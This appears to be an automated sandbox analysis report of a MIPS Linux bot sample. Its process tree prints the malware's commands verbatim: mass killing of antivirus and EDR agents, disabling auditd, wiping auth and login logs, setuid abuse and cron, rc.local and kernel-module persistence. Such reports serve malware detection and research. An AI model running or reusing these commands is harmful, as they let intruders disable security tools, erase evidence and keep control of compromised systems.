Analysis
- max time kernel
149s - max time network
152s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
25/09/2026, 11:06
General
- Target bot.mips64.elf
- Size 1.1MB
- Sample260925-m7kthavalb
- SHA256 03ddc2c68c69cfe9bd9b965644382ad3086c5babe39d11a89f33a1b6de11530a
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- OS Credential Dumping 1 TTPs 1 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 4 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Deletes log files 1 TTPs 4 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Schedules an At job 1 TTPs 1 IoCs
Schedules a job to be run using the at command.
- Uses Polkit to run commands 1 IoCs
Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.
- Changes its process name 1 IoCs
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 9 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/bot.mips64.elf/tmp/bot.mips64.elf1⤵
- Changes its process name
- System Network Configuration Discovery
-
/bin/shsh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/bin/cpcp /proc/self/exe /var/.z3⤵
-
-
/bin/chmodchmod +x /var/.z3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c -- "pkill -9 -x kavsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavf4 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavguard 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msvsc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msasc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msmpeng 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avastsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ash 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamdscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamonacc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [x]agt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]datp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]krn 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]sets 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [b]dagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [w]rsa 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]bam 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]alwarebytes 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [3]60tray 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [3]60safe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [h]ipstray 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [u]sysdiag 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [q]axengine 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [p]andad 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [p]sanhost 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]savgui 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]-secure 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avtray 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [v]ipre 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]bamsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [g]data 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [i]karus 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]rweb 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x gafgyt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x bashlite 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x tsunami 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x hakai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x sora 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x qbot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x astaroth 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ozyman 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x nihappy 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"2⤵
-
/usr/bin/unlinkunlink /proc/self/exe3⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/03⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/13⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/103⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/113⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/23⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/33⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/43⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/53⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/63⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/73⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/83⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/93⤵
-
-
-
/bin/shsh -c -- "/usr/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/gpasswd/usr/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chfn/usr/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/sg/usr/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atq/usr/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/pkexec/usr/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/usr/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/at/usr/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/usr/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newgrp/usr/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chsh/usr/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudoedit/usr/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mailq/usr/bin/mailq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newaliases/usr/bin/newaliases -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudo/usr/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/passwd/usr/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atrm/usr/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/su/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
- Enumerates kernel/hardware configuration
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/bin/ping -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping/bin/ping -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping4 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping4/bin/ping4 -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/ping6 -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/ping6/bin/ping6 -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/umount/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mount/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "find / -perm -4000 -type f -exec /tmp/.z \\; 2>/dev/null"2⤵
-
/usr/bin/findfind / -perm -4000 -type f -exec /tmp/.z ";"3⤵
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
-
-
/bin/shsh -c -- "(crontab -l 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z') | crontab - 2>/dev/null; echo '*/5 * * * * root { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /etc/cron.d/zbot 2>/dev/null; echo '{ [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/rc.local 2>/dev/null &"2⤵
- Creates/modifies Cron job
- Modifies rc script
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c -- "echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /var/spool/cron/zbot 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/crontab 2>/dev/null &"2⤵
- Creates/modifies Cron job
-
-
/bin/shsh -c -- "insmod /tmp/zbot.ko 2>/dev/null; modprobe zbot 2>/dev/null &"2⤵
-
/sbin/insmodinsmod /tmp/zbot.ko3⤵
-
-
-
/usr/bin/pkillpkill -9 -x kavsvc1⤵
-
/usr/bin/pkillpkill -9 -x kavf41⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x kavguard1⤵
-
/usr/bin/pkillpkill -9 -x avp1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp51⤵
-
/usr/bin/pkillpkill -9 -x avp61⤵
-
/usr/bin/pkillpkill -9 -x msvsc1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msasc1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msmpeng1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x msseces1⤵
-
/usr/bin/pkillpkill -9 -x msseces.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avast51⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avast61⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avastsvc1⤵
-
/usr/bin/pkillpkill -9 -x ash1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x ashmaisv1⤵
-
/usr/bin/pkillpkill -9 -x avgnt1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt.exe1⤵
-
/usr/bin/pkillpkill -9 -x avgnt21⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avgnt31⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamd1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamdscan1⤵
-
/usr/bin/pkillpkill -9 -x clamonacc1⤵
-
/usr/bin/pkillpkill -9 -x f-prot1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-prot641⤵
-
/usr/bin/pkillpkill -9 -x f-sport1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-sport641⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x smon1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x smon21⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x smon31⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x mcs1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mcs21⤵
-
/usr/bin/pkillpkill -9 -x mcs31⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navpsv321⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navpsv641⤵
-
/usr/bin/pkillpkill -9 -x navw321⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navw641⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpsvc.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpcc.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpm.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp9.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp10.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp11.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp12.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp13.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp14.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp15.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp16.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp17.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp18.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp19.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp20.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp21.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp22.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp23.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp24.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp25.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp26.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp27.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp28.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp29.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp30.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp31.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp32.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp33.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp34.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp35.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp36.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp37.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp38.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp39.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp40.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp41.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp42.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp43.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp44.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp45.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp46.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp47.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp48.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp49.exe1⤵
- Reads runtime system information
-
